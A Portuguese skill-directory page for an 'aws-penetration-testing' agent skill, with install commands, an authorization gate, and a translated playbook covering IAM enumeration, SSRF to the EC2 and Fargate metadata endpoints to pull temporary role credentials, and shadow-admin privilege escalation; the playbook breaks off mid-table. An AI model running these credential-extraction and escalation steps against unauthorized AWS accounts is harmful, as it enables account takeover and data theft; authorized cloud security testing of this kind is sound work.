Pular para o conteúdo
Skillpedia
Segurança48 mil · #2249

aws-penetration-testing

Ensina técnicas para testar a segurança de ambientes AWS, buscando falhas e vulnerabilidades.

O que ela faz

Esta ferramenta ajuda a testar a segurança de ambientes na nuvem da Amazon (AWS). Ela procura por falhas que poderiam ser exploradas por invasores, como acesso indevido a informações ou permissões elevadas.

Quando usar

  • ✓Para testar a segurança de sua própria conta AWS.
  • ✓Em ambientes de treinamento para aprender sobre segurança na nuvem.
  • ✓Quando autorizado por um proprietário de sistema para uma avaliação de segurança.

Exemplo do que pedir para a IA

“Quero testar a segurança da minha conta AWS. Quais comandos devo usar para verificar as permissões?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/aws-penetration-testing/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/aws-penetration-testing/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa comandos específicos da AWS e outras ferramentas de segurança para analisar permissões, encontrar vulnerabilidades e tentar acessos não autorizados. Ela simula ataques para identificar pontos fracos.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill aws-penetration-testing

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/aws-penetration-testing/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Teste de Penetração AWS

Propósito

Fornecer técnicas abrangentes para testes de penetração em ambientes de nuvem AWS. Abrange enumeração de IAM, escalonamento de privilégios, SSRF para endpoint de metadados, exploração de bucket S3, extração de código Lambda e técnicas de persistência para operações de equipe vermelha.

Entradas/Pré-requisitos

  • AWS CLI configurado com credenciais
  • Credenciais AWS válidas (mesmo de baixo privilégio)
  • Compreensão do modelo AWS IAM
  • Python 3, biblioteca boto3
  • Ferramentas: Pacu, Prowler, ScoutSuite, SkyArk

Saídas/Entregas

  • Caminhos de escalonamento de privilégios do IAM
  • Credenciais e segredos extraídos
  • Recursos EC2/Lambda/S3 comprometidos
  • Mecanismos de persistência
  • Achados de auditoria de segurança

Ferramentas Essenciais

Ferramenta Propósito Instalação
Pacu Framework de exploração AWS git clone https://github.com/RhinoSecurityLabs/pacu
SkyArk Descoberta de Shadow Admin Import-Module .\SkyArk.ps1
Prowler Auditoria de segurança pip install prowler
ScoutSuite Auditoria multi-cloud pip install scoutsuite
enumerate-iam Enumeração de permissões git clone https://github.com/andresriancho/enumerate-iam
Principal Mapper Análise de IAM pip install principalmapper

Fluxo de Trabalho Principal

Etapa 1: Enumeração Inicial

Identifique a identidade e as permissões comprometidas:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Etapa 2: Enumeração de IAM

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Etapa 3: SSRF de Metadados (EC2)

Explore SSRF para acessar o endpoint de metadados (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

Para IMDSv2 (token necessário):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Credenciais de Contêiner Fargate:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Técnicas de Escalonamento de Privilégios

Permissões de Shadow Admin

Essas permissões são equivalentes a administrador:

Permissão Exploração
iam:CreateAccessKey Criar chaves para usuário admin

…

Perguntas frequentes

Preciso ter permissão para usar esta ferramenta?

Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso não autorizado é ilegal.

O que são 'privilege escalation'?

Significa conseguir permissões maiores do que as que você deveria ter. Por exemplo, um usuário comum que consegue acesso de administrador.

Quais ferramentas são usadas?

Ferramentas como Pacu, Prowler, ScoutSuite, SkyArk e outras são usadas para automatizar a busca por vulnerabilidades e a coleta de informações.

Detalhes

Descrição original do autor

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#2249
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas